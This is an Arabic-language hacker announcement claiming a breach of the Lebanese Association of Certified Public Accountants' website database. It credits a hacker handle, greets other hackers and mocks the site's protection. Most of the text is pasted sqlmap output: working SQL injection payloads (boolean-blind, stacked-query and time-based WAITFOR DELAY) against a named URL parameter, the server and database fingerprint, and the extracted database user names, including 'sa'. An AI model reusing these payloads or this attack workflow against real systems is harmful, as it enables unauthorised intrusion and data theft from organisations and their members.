تم اختراق قاعدة بيانات نقابة خبراء المحاسبة لبنان

تم اختراق قاعدة بيانات نقابة خبراء المحاسبة لبنان
من قبل جني محجوز

الاختراق لعيون الشعب السعودي
www.twitter.com/JM511
========================
Greeting to : @In3ctor , Zombie_Ksa , Shi5-ALHACKER503
========================
Out Site : www.in3ctor.com/vb/
=======================

http://www.lacpa.org.lb/
نقابة خبراء المحاسبة

حماية زفت مثل وجيهكم
اسماء القواعد
database management system users [2]:
[*] C4588_LACPADB08SA
[*] sa
====================


Place: GET
Parameter: ID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ID=107 AND 8958=8958

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: ID=107; WAITFOR DELAY '0:0:5';--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: ID=107 WAITFOR DELAY '0:0:5'--
---

[19:42:15] [INFO] testing Microsoft SQL Server
[19:42:18] [INFO] confirming Microsoft SQL Server
[19:42:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[19:42:25] [INFO] fetching database users
[19:42:25] [INFO] fetching number of database users
[19:42:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:42:25] [INFO] retrieved: 2
[19:42:40] [INFO] retrieved: C4588_LACPADB08SA
[19:48:23] [INFO] retrieved: sa
database management system users [2]:
[*] C4588_LACPADB08SA
[*] sa